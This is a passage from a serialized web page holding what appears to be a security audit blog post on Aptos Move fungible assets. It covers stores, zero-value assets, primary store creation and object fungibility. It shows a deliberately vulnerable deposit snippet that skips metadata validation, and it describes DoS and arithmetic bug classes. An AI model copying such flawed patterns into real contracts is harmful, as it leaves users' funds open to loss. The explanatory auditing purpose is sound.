primary_fungible_store",{"type":23,"tag":314,"props":61208,"children":61209},{"style":354},[61210],{"type":28,"value":2737},{"type":23,"tag":314,"props":61212,"children":61213},{"style":332},[61214],{"type":28,"value":61215},"deposit",{"type":23,"tag":314,"props":61217,"children":61218},{"style":338},[61219],{"type":28,"value":341},{"type":23,"tag":314,"props":61221,"children":61222},{"style":332},[61223],{"type":28,"value":61224},"global_vault_address",{"type":23,"tag":314,"props":61226,"children":61227},{"style":338},[61228],{"type":28,"value":17613},{"type":23,"tag":314,"props":61230,"children":61231},{"style":360},[61232],{"type":28,"value":60985},{"type":23,"tag":314,"props":61234,"children":61235},{"style":338},[61236],{"type":28,"value":1025},{"type":23,"tag":314,"props":61238,"children":61239},{"class":316,"line":1422},[61240],{"type":23,"tag":314,"props":61241,"children":61242},{"style":338},[61243],{"type":28,"value":61038},{"type":23,"tag":314,"props":61245,"children":61246},{"class":316,"line":1430},[61247,61252,61256,61261,61265,61270,61274,61278,61282,61286],{"type":23,"tag":314,"props":61248,"children":61249},{"style":338},[61250],{"type":28,"value":61251}," event",{"type":23,"tag":314,"props":61253,"children":61254},{"style":354},[61255],{"type":28,"value":2737},{"type":23,"tag":314,"props":61257,"children":61258},{"style":332},[61259],{"type":28,"value":61260},"emit",{"type":23,"tag":314,"props":61262,"children":61263},{"style":338},[61264],{"type":28,"value":341},{"type":23,"tag":314,"props":61266,"children":61267},{"style":2674},[61268],{"type":28,"value":61269},"Deposit",{"type":23,"tag":314,"props":61271,"children":61272},{"style":338},[61273],{"type":28,"value":1770},{"type":23,"tag":314,"props":61275,"children":61276},{"style":360},[61277],{"type":28,"value":61143},{"type":23,"tag":314,"props":61279,"children":61280},{"style":338},[61281],{"type":28,"value":778},{"type":23,"tag":314,"props":61283,"children":61284},{"style":360},[61285],{"type":28,"value":61134},{"type":23,"tag":314,"props":61287,"children":61288},{"style":338},[61289],{"type":28,"value":32270},{"type":23,"tag":314,"props":61291,"children":61292},{"class":316,"line":1452},[61293],{"type":23,"tag":314,"props":61294,"children":61295},{"style":338},[61296],{"type":28,"value":386},{"type":23,"tag":24,"props":61298,"children":61299},{},[61300],{"type":28,"value":61301},"Do you see any problems here? The application does not validate or differentiate fungible assets using their metadata, which causes all fungible asset deposits to be treated as identical.",{"type":23,"tag":24,"props":61303,"children":61304},{},[61305],{"type":28,"value":61306},"While these bugs aren't partiularly complex, they do represent an additional vulnerability class that must be checked for.",{"type":23,"tag":61,"props":61308,"children":61310},{"id":61309},"fungible-stores",[61311],{"type":28,"value":61312},"Fungible stores",{"type":23,"tag":24,"props":61314,"children":61315},{},[61316],{"type":28,"value":61317},"As mentioned, fungible assets are hot potatoes, meaning they must be destroyed after each transaction. If they lack abilities, how can they be used?",{"type":23,"tag":24,"props":61319,"children":61320},{},[61321,61323,61329],{"type":28,"value":61322},"Meet the ",{"type":23,"tag":94,"props":61324,"children":61326},{"className":61325},[],[61327],{"type":28,"value":61328},"FungibleStore",{"type":28,"value":282},{"type":23,"tag":304,"props":61331,"children":61333},{"className":2234,"code":61332,"language":2233,"meta":7,"style":7},"struct FungibleStore has key {\n metadata: Object\u003CMetadata>,\n balance: u64,\n frozen: bool,\n}\n",[61334],{"type":23,"tag":94,"props":61335,"children":61336},{"__ignoreMap":7},[61337,61361,61388,61408,61427],{"type":23,"tag":314,"props":61338,"children":61339},{"class":316,"line":317},[61340,61344,61349,61353,61357],{"type":23,"tag":314,"props":61341,"children":61342},{"style":321},[61343],{"type":28,"value":8651},{"type":23,"tag":314,"props":61345,"children":61346},{"style":2674},[61347],{"type":28,"value":61348}," FungibleStore",{"type":23,"tag":314,"props":61350,"children":61351},{"style":360},[61352],{"type":28,"value":8660},{"type":23,"tag":314,"props":61354,"children":61355},{"style":360},[61356],{"type":28,"value":5186},{"type":23,"tag":314,"props":61358,"children":61359},{"style":338},[61360],{"type":28,"value":1449},{"type":23,"tag":314,"props":61362,"children":61363},{"class":316,"line":370},[61364,61368,61372,61376,61380,61384],{"type":23,"tag":314,"props":61365,"children":61366},{"style":360},[61367],{"type":28,"value":60804},{"type":23,"tag":314,"props":61369,"children":61370},{"style":354},[61371],{"type":28,"value":3746},{"type":23,"tag":314,"props":61373,"children":61374},{"style":2674},[61375],{"type":28,"value":60813},{"type":23,"tag":314,"props":61377,"children":61378},{"style":338},[61379],{"type":28,"value":5060},{"type":23,"tag":314,"props":61381,"children":61382},{"style":2674},[61383],{"type":28,"value":60822},{"type":23,"tag":314,"props":61385,"children":61386},{"style":338},[61387],{"type":28,"value":5393},{"type":23,"tag":314,"props":61389,"children":61390},{"class":316,"line":380},[61391,61396,61400,61404],{"type":23,"tag":314,"props":61392,"children":61393},{"style":360},[61394],{"type":28,"value":61395}," balance",{"type":23,"tag":314,"props":61397,"children":61398},{"style":354},[61399],{"type":28,"value":3746},{"type":23,"tag":314,"props":61401,"children":61402},{"style":2674},[61403],{"type":28,"value":5114},{"type":23,"tag":314,"props":61405,"children":61406},{"style":338},[61407],{"type":28,"value":1870},{"type":23,"tag":314,"props":61409,"children":61410},{"class":316,"line":1091},[61411,61415,61419,61423],{"type":23,"tag":314,"props":61412,"children":61413},{"style":360},[61414],{"type":28,"value":60465},{"type":23,"tag":314,"props":61416,"children":61417},{"style":354},[61418],{"type":28,"value":3746},{"type":23,"tag":314,"props":61420,"children":61421},{"style":2674},[61422],{"type":28,"value":11298},{"type":23,"tag":314,"props":61424,"children":61425},{"style":338},[61426],{"type":28,"value":1870},{"type":23,"tag":314,"props":61428,"children":61429},{"class":316,"line":1141},[61430],{"type":23,"tag":314,"props":61431,"children":61432},{"style":338},[61433],{"type":28,"value":386},{"type":23,"tag":24,"props":61435,"children":61436},{},[61437,61442,61444,61449,61451,61456,61458,61463,61465,61470],{"type":23,"tag":94,"props":61438,"children":61440},{"className":61439},[],[61441],{"type":28,"value":61328},{"type":28,"value":61443}," manages balances and metadata instead of holding the actual ",{"type":23,"tag":94,"props":61445,"children":61447},{"className":61446},[],[61448],{"type":28,"value":60763},{"type":28,"value":61450}," (it can't because ",{"type":23,"tag":94,"props":61452,"children":61454},{"className":61453},[],[61455],{"type":28,"value":60763},{"type":28,"value":61457}," doesn't have ",{"type":23,"tag":94,"props":61459,"children":61461},{"className":61460},[],[61462],{"type":28,"value":5195},{"type":28,"value":61464},"). Withdrawals create temporary ",{"type":23,"tag":94,"props":61466,"children":61468},{"className":61467},[],[61469],{"type":28,"value":60763},{"type":28,"value":61471}," resources, while deposits destroy them and update the balance. This design prevents freezing bypasses and improves observability.",{"type":23,"tag":18031,"props":61473,"children":61474},{},[],{"type":23,"tag":24,"props":61476,"children":61477},{},[61478,61480,61485,61487,61492],{"type":28,"value":61479},"A curious reader might wonder, is there any other way to create or destroy a ",{"type":23,"tag":94,"props":61481,"children":61483},{"className":61482},[],[61484],{"type":28,"value":60763},{"type":28,"value":61486}," besides withdrawing, depositing or minting it? There is — anyone can create and destroy a zero-value ",{"type":23,"tag":94,"props":61488,"children":61490},{"className":61489},[],[61491],{"type":28,"value":60763},{"type":28,"value":282},{"type":23,"tag":304,"props":61494,"children":61496},{"className":2234,"code":61495,"language":2233,"meta":7,"style":7},"public fun destroy_zero(fungible_asset: FungibleAsset) {\n let FungibleAsset { amount, metadata: _ } = fungible_asset;\n assert!(amount == 0, error::invalid_argument(EAMOUNT_IS_NOT_ZERO));\n}\n\npublic fun zero\u003CT: key>(metadata: Object\u003CT>): FungibleAsset {\n FungibleAsset {\n metadata: object::convert(metadata),\n amount: 0,\n }\n}\n",[61497],{"type":23,"tag":94,"props":61498,"children":61499},{"__ignoreMap":7},[61500,61537,61589,61632,61639,61646,61718,61730,61768,61787,61794],{"type":23,"tag":314,"props":61501,"children":61502},{"class":316,"line":317},[61503,61507,61511,61516,61520,61525,61529,61533],{"type":23,"tag":314,"props":61504,"children":61505},{"style":360},[61506],{"type":28,"value":60927},{"type":23,"tag":314,"props":61508,"children":61509},{"style":360},[61510],{"type":28,"value":5462},{"type":23,"tag":314,"props":61512,"children":61513},{"style":332},[61514],{"type":28,"value":61515}," destroy_zero",{"type":23,"tag":314,"props":61517,"children":61518},{"style":338},[61519],{"type":28,"value":341},{"type":23,"tag":314,"props":61521,"children":61522},{"style":360},[61523],{"type":28,"value":61524},"fungible_asset",{"type":23,"tag":314,"props":61526,"children":61527},{"style":354},[61528],{"type":28,"value":3746},{"type":23,"tag":314,"props":61530,"children":61531},{"style":2674},[61532],{"type":28,"value":60792},{"type":23,"tag":314,"props":61534,"children":61535},{"style":338},[61536],{"type":28,"value":367},{"type":23,"tag":314,"props":61538,"children":61539},{"class":316,"line":370},[61540,61544,61548,61552,61556,61560,61565,61569,61573,61577,61581,61585],{"type":23,"tag":314,"props":61541,"children":61542},{"style":321},[61543],{"type":28,"value":2254},{"type":23,"tag":314,"props":61545,"children":61546},{"style":2674},[61547],{"type":28,"value":60792},{"type":23,"tag":314,"props":61549,"children":61550},{"style":338},[61551],{"type":28,"value":1242},{"type":23,"tag":314,"props":61553,"children":61554},{"style":360},[61555],{"type":28,"value":19544},{"type":23,"tag":314,"props":61557,"children":61558},{"style":338},[61559],{"type":28,"value":778},{"type":23,"tag":314,"props":61561,"children":61562},{"style":360},[61563],{"type":28,"value":61564},"metadata",{"type":23,"tag":314,"props":61566,"children":61567},{"style":354},[61568],{"type":28,"value":3746},{"type":23,"tag":314,"props":61570,"children":61571},{"style":360},[61572],{"type":28,"value":2292},{"type":23,"tag":314,"props":61574,"children":61575},{"style":338},[61576],{"type":28,"value":35451},{"type":23,"tag":314,"props":61578,"children":61579},{"style":354},[61580],{"type":28,"value":1102},{"type":23,"tag":314,"props":61582,"children":61583},{"style":360},[61584],{"type":28,"value":61059},{"type":23,"tag":314,"props":61586,"children":61587},{"style":338},[61588],{"type":28,"value":2278},{"type":23,"tag":314,"props":61590,"children":61591},{"class":316,"line":380},[61592,61597,61601,61605,61609,61613,61618,61622,61627],{"type":23,"tag":314,"props":61593,"children":61594},{"style":332},[61595],{"type":28,"value":61596}," assert!",{"type":23,"tag":314,"props":61598,"children":61599},{"style":338},[61600],{"type":28,"value":341},{"type":23,"tag":314,"props":61602,"children":61603},{"style":360},[61604],{"type":28,"value":19544},{"type":23,"tag":314,"props":61606,"children":61607},{"style":354},[61608],{"type":28,"value":2537},{"type":23,"tag":314,"props":61610,"children":61611},{"style":1054},[61612],{"type":28,"value":1201},{"type":23,"tag":314,"props":61614,"children":61615},{"style":338},[61616],{"type":28,"value":61617},", error",{"type":23,"tag":314,"props":61619,"children":61620},{"style":354},[61621],{"type":28,"value":2737},{"type":23,"tag":314,"props":61623,"children":61624},{"style":332},[61625],{"type":28,"value":61626},"invalid_argument",{"type":23,"tag":314,"props":61628,"children":61629},{"style":338},[61630],{"type":28,"value":61631},"(EAMOUNT_IS_NOT_ZERO));\n",{"type":23,"tag":314,"props":61633,"children":61634},{"class":316,"line":1091},[61635],{"type":23,"tag":314,"props":61636,"children":61637},{"style":338},[61638],{"type":28,"value":386},{"type":23,"tag":314,"props":61640,"children":61641},{"class":316,"line":1141},[61642],{"type":23,"tag":314,"props":61643,"children":61644},{"emptyLinePlaceholder":18},[61645],{"type":28,"value":1088},{"type":23,"tag":314,"props":61647,"children":61648},{"class":316,"line":1173},[61649,61653,61657,61662,61666,61670,61674,61678,61682,61686,61690,61694,61698,61702,61706,61710,61714],{"type":23,"tag":314,"props":61650,"children":61651},{"style":360},[61652],{"type":28,"value":60927},{"type":23,"tag":314,"props":61654,"children":61655},{"style":360},[61656],{"type":28,"value":5462},{"type":23,"tag":314,"props":61658,"children":61659},{"style":360},[61660],{"type":28,"value":61661}," zero",{"type":23,"tag":314,"props":61663,"children":61664},{"style":338},[61665],{"type":28,"value":5060},{"type":23,"tag":314,"props":61667,"children":61668},{"style":2674},[61669],{"type":28,"value":5242},{"type":23,"tag":314,"props":61671,"children":61672},{"style":354},[61673],{"type":28,"value":3746},{"type":23,"tag":314,"props":61675,"children":61676},{"style":360},[61677],{"type":28,"value":5186},{"type":23,"tag":314,"props":61679,"children":61680},{"style":338},[61681],{"type":28,"value":6866},{"type":23,"tag":314,"props":61683,"children":61684},{"style":360},[61685],{"type":28,"value":61564},{"type":23,"tag":314,"props":61687,"children":61688},{"style":354},[61689],{"type":28,"value":3746},{"type":23,"tag":314,"props":61691,"children":61692},{"style":2674},[61693],{"type":28,"value":60813},{"type":23,"tag":314,"props":61695,"children":61696},{"style":338},[61697],{"type":28,"value":5060},{"type":23,"tag":314,"props":61699,"children":61700},{"style":2674},[61701],{"type":28,"value":5242},{"type":23,"tag":314,"props":61703,"children":61704},{"style":338},[61705],{"type":28,"value":7641},{"type":23,"tag":314,"props":61707,"children":61708},{"style":354},[61709],{"type":28,"value":3746},{"type":23,"tag":314,"props":61711,"children":61712},{"style":2674},[61713],{"type":28,"value":60792},{"type":23,"tag":314,"props":61715,"children":61716},{"style":338},[61717],{"type":28,"value":1449},{"type":23,"tag":314,"props":61719,"children":61720},{"class":316,"line":1208},[61721,61726],{"type":23,"tag":314,"props":61722,"children":61723},{"style":2674},[61724],{"type":28,"value":61725}," FungibleAsset",{"type":23,"tag":314,"props":61727,"children":61728},{"style":338},[61729],{"type":28,"value":1449},{"type":23,"tag":314,"props":61731,"children":61732},{"class":316,"line":1216},[61733,61738,61742,61747,61751,61756,61760,61764],{"type":23,"tag":314,"props":61734,"children":61735},{"style":360},[61736],{"type":28,"value":61737}," metadata",{"type":23,"tag":314,"props":61739,"children":61740},{"style":354},[61741],{"type":28,"value":3746},{"type":23,"tag":314,"props":61743,"children":61744},{"style":338},[61745],{"type":28,"value":61746}," object",{"type":23,"tag":314,"props":61748,"children":61749},{"style":354},[61750],{"type":28,"value":2737},{"type":23,"tag":314,"props":61752,"children":61753},{"style":332},[61754],{"type":28,"value":61755},"convert",{"type":23,"tag":314,"props":61757,"children":61758},{"style":338},[61759],{"type":28,"value":341},{"type":23,"tag":314,"props":61761,"children":61762},{"style":360},[61763],{"type":28,"value":61564},{"type":23,"tag":314,"props":61765,"children":61766},{"style":338},[61767],{"type":28,"value":5992},{"type":23,"tag":314,"props":61769,"children":61770},{"class":316,"line":1301},[61771,61775,61779,61783],{"type":23,"tag":314,"props":61772,"children":61773},{"style":360},[61774],{"type":28,"value":6704},{"type":23,"tag":314,"props":61776,"children":61777},{"style":354},[61778],{"type":28,"value":3746},{"type":23,"tag":314,"props":61780,"children":61781},{"style":1054},[61782],{"type":28,"value":1201},{"type":23,"tag":314,"props":61784,"children":61785},{"style":338},[61786],{"type":28,"value":1870},{"type":23,"tag":314,"props":61788,"children":61789},{"class":316,"line":1343},[61790],{"type":23,"tag":314,"props":61791,"children":61792},{"style":338},[61793],{"type":28,"value":2610},{"type":23,"tag":314,"props":61795,"children":61796},{"class":316,"line":1351},[61797],{"type":23,"tag":314,"props":61798,"children":61799},{"style":338},[61800],{"type":28,"value":386},{"type":23,"tag":24,"props":61802,"children":61803},{},[61804],{"type":28,"value":61805},"In theory, this shouldn’t pose a problem. After all, having zero of something doesn’t exactly qualify as ownership.",{"type":23,"tag":24,"props":61807,"children":61808},{},[61809,61811,61816],{"type":28,"value":61810},"In practice, the ability to freely mint and burn zero ",{"type":23,"tag":94,"props":61812,"children":61814},{"className":61813},[],[61815],{"type":28,"value":60905},{"type":28,"value":61817}," of any type could present a significant risk. During our reviews, we enountered many protocols that did not account for this possibility, leading to arithmetic errors, DoS logic bugs or inaccurate calculations. Keep in mind that edge case, we'll come back to this.",{"type":23,"tag":837,"props":61819,"children":61821},{"id":61820},"primary-and-secondary-stores",[61822],{"type":28,"value":61823},"Primary and secondary stores",{"type":23,"tag":24,"props":61825,"children":61826},{},[61827,61833,61835,61841,61843,61848],{"type":23,"tag":94,"props":61828,"children":61830},{"className":61829},[],[61831],{"type":28,"value":61832},"FungibleStores",{"type":28,"value":61834}," in comparison to ",{"type":23,"tag":94,"props":61836,"children":61838},{"className":61837},[],[61839],{"type":28,"value":61840},"CoinStores",{"type":28,"value":61842}," are not unique. Each user can have multiple ",{"type":23,"tag":94,"props":61844,"children":61846},{"className":61845},[],[61847],{"type":28,"value":61328},{"type":28,"value":61849}," objects for a given token!",{"type":23,"tag":24,"props":61851,"children":61852},{},[61853,61855,61862,61864,61869],{"type":28,"value":61854},"A primary fungible store is maintained via the aptly named ",{"type":23,"tag":31,"props":61856,"children":61859},{"href":61857,"rel":61858},"https://github.com/aptos-labs/aptos-core/blob/2bea962eac4743db6cc0ae2e8a2fd7fcc323b121/aptos-move/framework/aptos-framework/sources/primary_fungible_store.move",[35],[61860],{"type":28,"value":61861},"primary_fungible_store",{"type":28,"value":61863}," module. It's \"primary\" because of its deterministic location, which is calculated using the owner and the fungible asset's ",{"type":23,"tag":94,"props":61865,"children":61867},{"className":61866},[],[61868],{"type":28,"value":60822},{"type":28,"value":61870}," addresses. Users can also create a number of \"secondary\" fungible stores by themselves.",{"type":23,"tag":24,"props":61872,"children":61873},{},[61874],{"type":28,"value":61875},"One key feature of the primary fungible stores is their permissionless creation. This can lead to surprising denial of service bugs!",{"type":23,"tag":304,"props":61877,"children":61879},{"className":2234,"code":61878,"language":2233,"meta":7,"style":7},"public entry fun register(\n user: &signer, [...]\n) acquires [...] {\n [...]\n let wallet_store = create_primary_store(signer::address_of(sender), get_metadata());\n [...]\n}\n",[61880],{"type":23,"tag":94,"props":61881,"children":61882},{"__ignoreMap":7},[61883,61908,61940,61963,61979,62033,62048],{"type":23,"tag":314,"props":61884,"children":61885},{"class":316,"line":317},[61886,61890,61895,61899,61904],{"type":23,"tag":314,"props":61887,"children":61888},{"style":360},[61889],{"type":28,"value":60927},{"type":23,"tag":314,"props":61891,"children":61892},{"style":360},[61893],{"type":28,"value":61894}," entry",{"type":23,"tag":314,"props":61896,"children":61897},{"style":360},[61898],{"type":28,"value":5462},{"type":23,"tag":314,"props":61900,"children":61901},{"style":332},[61902],{"type":28,"value":61903}," register",{"type":23,"tag":314,"props":61905,"children":61906},{"style":338},[61907],{"type":28,"value":2719},{"type":23,"tag":314,"props":61909,"children":61910},{"class":316,"line":370},[61911,61916,61920,61924,61928,61932,61936],{"type":23,"tag":314,"props":61912,"children":61913},{"style":360},[61914],{"type":28,"value":61915}," user",{"type":23,"tag":314,"props":61917,"children":61918},{"style":354},[61919],{"type":28,"value":3746},{"type":23,"tag":314,"props":61921,"children":61922},{"style":354},[61923],{"type":28,"value":1968},{"type":23,"tag":314,"props":61925,"children":61926},{"style":360},[61927],{"type":28,"value":6401},{"type":23,"tag":314,"props":61929,"children":61930},{"style":338},[61931],{"type":28,"value":43387},{"type":23,"tag":314,"props":61933,"children":61934},{"style":354},[61935],{"type":28,"value":8840},{"type":23,"tag":314,"props":61937,"children":61938},{"style":338},[61939],{"type":28,"value":11020},{"type":23,"tag":314,"props":61941,"children":61942},{"class":316,"line":380},[61943,61947,61951,61955,61959],{"type":23,"tag":314,"props":61944,"children":61945},{"style":338},[61946],{"type":28,"value":2343},{"type":23,"tag":314,"props":61948,"children":61949},{"style":360},[61950],{"type":28,"value":5599},{"type":23,"tag":314,"props":61952,"children":61953},{"style":338},[61954],{"type":28,"value":22270},{"type":23,"tag":314,"props":61956,"children":61957},{"style":354},[61958],{"type":28,"value":8840},{"type":23,"tag":314,"props":61960,"children":61961},{"style":338},[61962],{"type":28,"value":61018},{"type":23,"tag":314,"props":61964,"children":61965},{"class":316,"line":1091},[61966,61971,61975],{"type":23,"tag":314,"props":61967,"children":61968},{"style":338},[61969],{"type":28,"value":61970}," [",{"type":23,"tag":314,"props":61972,"children":61973},{"style":354},[61974],{"type":28,"value":8840},{"type":23,"tag":314,"props":61976,"children":61977},{"style":338},[61978],{"type":28,"value":11020},{"type":23,"tag":314,"props":61980,"children":61981},{"class":316,"line":1141},[61982,61986,61991,61995,62000,62004,62008,62012,62016,62020,62024,62029],{"type":23,"tag":314,"props":61983,"children":61984},{"style":321},[61985],{"type":28,"value":2254},{"type":23,"tag":314,"props":61987,"children":61988},{"style":360},[61989],{"type":28,"value":61990}," wallet_store",{"type":23,"tag":314,"props":61992,"children":61993},{"style":354},[61994],{"type":28,"value":1237},{"type":23,"tag":314,"props":61996,"children":61997},{"style":332},[61998],{"type":28,"value":61999}," create_primary_store",{"type":23,"tag":314,"props":62001,"children":62002},{"style":338},[62003],{"type":28,"value":6455},{"type":23,"tag":314,"props":62005,"children":62006},{"style":354},[62007],{"type":28,"value":2737},{"type":23,"tag":314,"props":62009,"children":62010},{"style":332},[62011],{"type":28,"value":6464},{"type":23,"tag":314,"props":62013,"children":62014},{"style":338},[62015],{"type":28,"value":341},{"type":23,"tag":314,"props":62017,"children":62018},{"style":360},[62019],{"type":28,"value":61113},{"type":23,"tag":314,"props":62021,"children":62022},{"style":338},[62023],{"type":28,"value":14419},{"type":23,"tag":314,"props":62025,"children":62026},{"style":332},[62027],{"type":28,"value":62028},"get_metadata",{"type":23,"tag":314,"props":62030,"children":62031},{"style":338},[62032],{"type":28,"value":14667},{"type":23,"tag":314,"props":62034,"children":62035},{"class":316,"line":1173},[62036,62040,62044],{"type":23,"tag":314,"props":62037,"children":62038},{"style":338},[62039],{"type":28,"value":61970},{"type":23,"tag":314,"props":62041,"children":62042},{"style":354},[62043],{"type":28,"value":8840},{"type":23,"tag":314,"props":62045,"children":62046},{"style":338},[62047],{"type":28,"value":11020},{"type":23,"tag":314,"props":62049,"children":62050},{"class":316,"line":1208},[62051],{"type":23,"tag":314,"props":62052,"children":62053},{"style":338},[62054],{"type":28,"value":386},{"type":23,"tag":24,"props":62056,"children":62057},{},[62058,62059,62065,62067,62073],{"type":28,"value":92},{"type":23,"tag":94,"props":62060,"children":62062},{"className":62061},[],[62063],{"type":28,"value":62064},"create_primary_store",{"type":28,"value":62066}," function can introduce DoS vulnerabilities because it aborts if the store already exists. Using ",{"type":23,"tag":94,"props":62068,"children":62070},{"className":62069},[],[62071],{"type":28,"value":62072},"ensure_primary_store_exists",{"type":28,"value":62074}," is recommended to avoid such issues.",{"type":23,"tag":61,"props":62076,"children":62078},{"id":62077},"fungible-assets-and-objects",[62079],{"type":28,"value":62080},"Fungible assets and objects",{"type":23,"tag":24,"props":62082,"children":62083},{},[62084,62086,62091,62093,62100],{"type":28,"value":62085},"The fungible asset standard is not a standalone module. It has heavy dependencies on a sibling module, the ",{"type":23,"tag":94,"props":62087,"children":62089},{"className":62088},[],[62090],{"type":28,"value":48101},{"type":28,"value":62092}," module, introduced in ",{"type":23,"tag":31,"props":62094,"children":62097},{"href":62095,"rel":62096},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-10.md",[35],[62098],{"type":28,"value":62099},"AIP-10",{"type":28,"value":282},{"type":23,"tag":2186,"props":62102,"children":62103},{},[62104],{"type":23,"tag":24,"props":62105,"children":62106},{},[62107,62111],{"type":23,"tag":314,"props":62108,"children":62109},{},[62110],{"type":28,"value":60702},{"type":28,"value":62112}," proposes a standard for Fungible Assets (FA) using Move Objects. In this model, any on-chain asset represented as an object can also be expressed as a fungible asset allowing for a single object to be represented by many distinct, yet interchangeable units of ownership.",{"type":23,"tag":24,"props":62114,"children":62115},{},[62116],{"type":28,"value":62117},"These two modules are closely intertwined, and their connection can be surprisingly intricate.",{"type":23,"tag":837,"props":62119,"children":62121},{"id":62120},"creation-and-deletion",[62122],{"type":28,"value":62123},"Creation and deletion",{"type":23,"tag":24,"props":62125,"children":62126},{},[62127,62129,62135],{"type":28,"value":62128},"To create a fungible resource, an undeletable object must first be created. \"Undeletable\" means, that it's not possible to get a permission to delete it. This is verified in ",{"type":23,"tag":94,"props":62130,"children":62132},{"className":62131},[],[62133],{"type":28,"value":62134},"fungible_asset::add_fungibility",{"type":28,"value":3746},{"type":23,"tag":304,"props":62137,"children":62139},{"className":2234,"code":62138,"language":2233,"meta":7,"style":7},"assert!(!object::can_generate_delete_ref(constructor_ref), error::invalid_argument(EOBJECT_IS_DELETABLE));\n",[62140],{"type":23,"tag":94,"props":62141,"children":62142},{"__ignoreMap":7},[62143],{"type":23,"tag":314,"props":62144,"children":62145},{"class":316,"line":317},[62146,62150,62154,62158,62163,62167,62172,62176,62181,62186,62190,62194],{"type":23,"tag":314,"props":62147,"children":62148},{"style":332},[62149],{"type":28,"value":41233},{"type":23,"tag":314,"props":62151,"children":62152},{"style":338},[62153],{"type":28,"value":341},{"type":23,"tag":314,"props":62155,"children":62156},{"style":354},[62157],{"type":28,"value":19859},{"type":23,"tag":314,"props":62159,"children":62160},{"style":338},[62161],{"type":28,"value":62162},"object",{"type":23,"tag":314,"props":62164,"children":62165},{"style":354},[62166],{"type":28,"value":2737},{"type":23,"tag":314,"props":62168,"children":62169},{"style":332},[62170],{"type":28,"value":62171},"can_generate_delete_ref",{"type":23,"tag":314,"props":62173,"children":62174},{"style":338},[62175],{"type":28,"value":341},{"type":23,"tag":314,"props":62177,"children":62178},{"style":360},[62179],{"type":28,"value":62180},"constructor_ref",{"type":23,"tag":314,"props":62182,"children":62183},{"style":338},[62184],{"type":28,"value":62185},"), error",{"type":23,"tag":314,"props":62187,"children":62188},{"style":354},[62189],{"type":28,"value":2737},{"type":23,"tag":314,"props":62191,"children":62192},{"style":332},[62193],{"type":28,"value":61626},{"type":23,"tag":314,"props":62195,"children":62196},{"style":338},[62197],{"type":28,"value":62198},"(EOBJECT_IS_DELETABLE));\n",{"type":23,"tag":24,"props":62200,"children":62201},{},[62202,62204,62209,62211,62216,62217,62224],{"type":28,"value":62203},"This object serves as the foundation for ownership tokens in the form of a ",{"type":23,"tag":94,"props":62205,"children":62207},{"className":62206},[],[62208],{"type":28,"value":60763},{"type":28,"value":62210},". This means that allowing it to be deletable wouldn't make sense and would impact the usability of such fungible assets, restricting users from accessing critical functionalities such as creating new stores. In the past the ",{"type":23,"tag":94,"props":62212,"children":62214},{"className":62213},[],[62215],{"type":28,"value":62134},{"type":28,"value":5713},{"type":23,"tag":31,"props":62218,"children":62221},{"href":62219,"rel":62220},"https://github.com/aptos-labs/aptos-core/commit/6976f8e9004b0f6ebb6fd976410d695c5a5a7ace",[35],[62222],{"type":28,"value":62223},"lacked this assert",{"type":28,"value":62225},", which we discovered and reported.",{"type":23,"tag":24,"props":62227,"children":62228},{},[62229,62234,62236,62241,62243,62248],{"type":23,"tag":94,"props":62230,"children":62232},{"className":62231},[],[62233],{"type":28,"value":62134},{"type":28,"value":62235}," transfers the ",{"type":23,"tag":94,"props":62237,"children":62239},{"className":62238},[],[62240],{"type":28,"value":60822},{"type":28,"value":62242}," and associated resources to this new object. After that, with the appropriate permissions, the ",{"type":23,"tag":94,"props":62244,"children":62246},{"className":62245},[],[62247],{"type":28,"value":60763},{"type":28,"value":62249}," can be minted, representing a share of ownership in that object.",{"type":23,"tag":304,"props":62251,"children":62253},{"className":2234,"code":62252,"language":2233,"meta":7,"style":7},"/// Make an existing object fungible by adding the Metadata resource.\npublic fun add_fungibility(\n [...]\n): Object\u003CMetadata> {\n [...]\n move_to(metadata_object_signer,\n Metadata {\n name,\n symbol,\n decimals,\n icon_uri,\n project_uri,\n }\n );\n[...]\n}\n",[62254],{"type":23,"tag":94,"props":62255,"children":62256},{"__ignoreMap":7},[62257,62265,62285,62300,62327,62342,62363,62375,62387,62399,62411,62423,62435,62442,62449,62464],{"type":23,"tag":314,"props":62258,"children":62259},{"class":316,"line":317},[62260],{"type":23,"tag":314,"props":62261,"children":62262},{"style":374},[62263],{"type":28,"value":62264},"/// Make an existing object fungible by adding the Metadata resource.\n",{"type":23,"tag":314,"props":62266,"children":62267},{"class":316,"line":370},[62268,62272,62276,62281],{"type":23,"tag":314,"props":62269,"children":62270},{"style":360},[62271],{"type":28,"value":60927},{"type":23,"tag":314,"props":62273,"children":62274},{"style":360},[62275],{"type":28,"value":5462},{"type":23,"tag":314,"props":62277,"children":62278},{"style":332},[62279],{"type":28,"value":62280}," add_fungibility",{"type":23,"tag":314,"props":62282,"children":62283},{"style":338},[62284],{"type":28,"value":2719},{"type":23,"tag":314,"props":62286,"children":62287},{"class":316,"line":380},[62288,62292,62296],{"type":23,"tag":314,"props":62289,"children":62290},{"style":338},[62291],{"type":28,"value":61970},{"type":23,"tag":314,"props":62293,"children":62294},{"style":354},[62295],{"type":28,"value":8840},{"type":23,"tag":314,"props":62297,"children":62298},{"style":338},[62299],{"type":28,"value":11020},{"type":23,"tag":314,"props":62301,"children":62302},{"class":316,"line":1091},[62303,62307,62311,62315,62319,62323],{"type":23,"tag":314,"props":62304,"children":62305},{"style":338},[62306],{"type":28,"value":431},{"type":23,"tag":314,"props":62308,"children":62309},{"style":354},[62310],{"type":28,"value":3746},{"type":23,"tag":314,"props":62312,"children":62313},{"style":2674},[62314],{"type":28,"value":60813},{"type":23,"tag":314,"props":62316,"children":62317},{"style":338},[62318],{"type":28,"value":5060},{"type":23,"tag":314,"props":62320,"children":62321},{"style":2674},[62322],{"type":28,"value":60822},{"type":23,"tag":314,"props":62324,"children":62325},{"style":338},[62326],{"type":28,"value":6536},{"type":23,"tag":314,"props":62328,"children":62329},{"class":316,"line":1141},[62330,62334,62338],{"type":23,"tag":314,"props":62331,"children":62332},{"style":338},[62333],{"type":28,"value":61970},{"type":23,"tag":314,"props":62335,"children":62336},{"style":354},[62337],{"type":28,"value":8840},{"type":23,"tag":314,"props":62339,"children":62340},{"style":338},[62341],{"type":28,"value":11020},{"type":23,"tag":314,"props":62343,"children":62344},{"class":316,"line":1173},[62345,62350,62354,62359],{"type":23,"tag":314,"props":62346,"children":62347},{"style":332},[62348],{"type":28,"value":62349}," 